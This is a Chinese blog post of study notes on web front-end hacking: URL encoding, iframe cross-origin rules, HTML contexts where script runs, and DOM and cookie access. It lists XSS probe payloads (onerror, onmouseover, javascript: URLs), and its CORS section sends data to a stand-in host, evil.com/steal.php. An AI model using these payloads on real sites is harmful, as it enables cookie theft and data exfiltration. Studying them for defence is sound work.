Web前端黑客技术揭秘笔记1

最新推荐文章于 2023-03-07 09:30:00 发布

wcc526

最新推荐文章于 2023-03-07 09:30:00 发布

阅读量1.5k

点赞数

分类专栏：黑客文章标签：黑客

本文链接：https://blog.csdn.net/wcc526/article/details/13364175

版权

黑客专栏收录该内容

11 篇文章 0 订阅

订阅专栏

参见余弦的博客http://evilcos.me/

一.URL编码方式

编码escape 解码 unescape

编码encodeURI 解码decodeURI

编码encodeURIComponent 解码decodeURIComponent

二.Iframe

Web安全中出现率最高的,父页与子页如何跨文档读写数据,如果同域,通过调用contentWindow操作子页的DOM树.

如果不同域,子页可以对父页的location进行写操作,使其重定向其他网页,有写权限,但是没有读权限

三.HTMl内嵌脚本执行

JavaScript可以出现在HTML的标签的on事件等地方

<script>alert(1)</script>
<img src=# οnerrοr="alert(1)" />
<input type="text" value="x" οnmοuseοver="alert(1)" />
<iframe src="javascript:alert(1)"></iframe>
<a href="javascript:alert(1)">x</a>

四.JavaScript DOM 操作

4.1 获取 HTML 内容隐私

<html>
    <div id="private">

    </div>
</html>

可以通过

document.getElementById('private').innerHTML

如果没有指定ID,但是如果div 是DOM树从上到下第三个的话,可以通过

document.getElementsByTagName('div')[2].innerHTML

4.2 获取Cookies数据

document.cookie

4.3 获取URL

window.location

4.4 AJAX 风险

CORS支持发送数据到另一个域

www.foo.com 的代码如下

function createCORSRequest(method, url) {
    var xhr = new XMLHttpRequest();
    if("withCredentials" in xhr) {
        xhr.open(method, url, true);
    } else if(typeof XDomainRequest != "undefined") {
        xhr = new XDomainRequest();// IE
        xhr.open(method, url);
    } else {
        xhr = null;
    }
    return xhr;
}

var request = createCORSRequest("get", "http://www.evil.com/steal.php?data=456");
if(request) {
    request.onload = function() {
        //对 request.responseText 进行处理
    };
    request.send();
}

steal.php的代码如下

<?php
header("Access-Control-Allow-Origin:http://www.foo.com");
header("Access-Control-Allow-Credentials:true");//允许跨域证书发送
//...
?>

如果Access-Control-Allow-Credentials的值为true,则Access-Control-Allow-Origin的值不能为*